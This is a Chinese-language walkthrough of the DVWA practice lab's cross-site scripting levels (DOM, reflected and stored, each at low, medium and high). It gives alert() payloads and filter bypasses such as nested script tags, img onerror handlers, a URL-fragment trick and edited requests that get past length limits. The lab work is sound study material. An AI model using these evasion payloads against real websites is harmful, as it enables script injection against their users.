dvwa-xss
1.dom
1.dom-low
?default=<script>alert(123)</script>
2.dom-medium
直接使用
?default=<script>alert(123)</script>
无变化
源代码过滤了<script
更换payload
</select><img src=1 onerror=alert(123)>
成功
3.dom-high
输入的是case后其中的一个则实行代码,所以我们使用#,绕过后端的过滤,注释的内容不会提交到服务器,而是在浏览器执行
payload
# <script>alert("123")</script>
2.反射
1.反射-low
在输入框输入
<script>alert(123)</script>
2.反射-medium
<script>和</script>似乎被过滤
尝试a标签
全被过滤了
但代码似乎只过滤了<script>
尝试双写
<scr<script>ipt>alert(123)</script>
成功
3.反射-high
尝试medium的payload
<scr<script>ipt>alert(123)</script>
过滤完了
查看源码
是基于正则的过滤,过滤了script双写(.*)和大小写/i
那么就尝试不用script关键字的方法,如图片报错
<img src=1 onerror=alert(1)>
成功
3.存储
1.存储-low
name有长度限制,在message框输入
<script>alert(123)</script>
2.存储-medium
输入
<script>alert(123)</script>
script被过滤
尝试图片报错
<img src=1 onerror=alert(1)>
过滤完了
尝试双写
<sc<script>ript>alert(123)</script>
查看源码
message使用了htmlspecialchars
函数,该函数会将
预定义预定义字符转换:
&(和号) 成为 &
" (双引号) 成为 "
’ (单引号) 成为 '
< (小于) 成为 <
> (大于) 成为 >
发现name仅过滤了单个<script>,那么尝试在name双写
<sc<script>ript>alert(123)</script>
但name存在输入长度限制,那么尝试修改请求
成功
3.存储-high
message使用了htmlspecialchars
,name使用正则过滤,那么尝试用图片报错绕过正则,由于输入框长度限制,同样修改请求完成
成功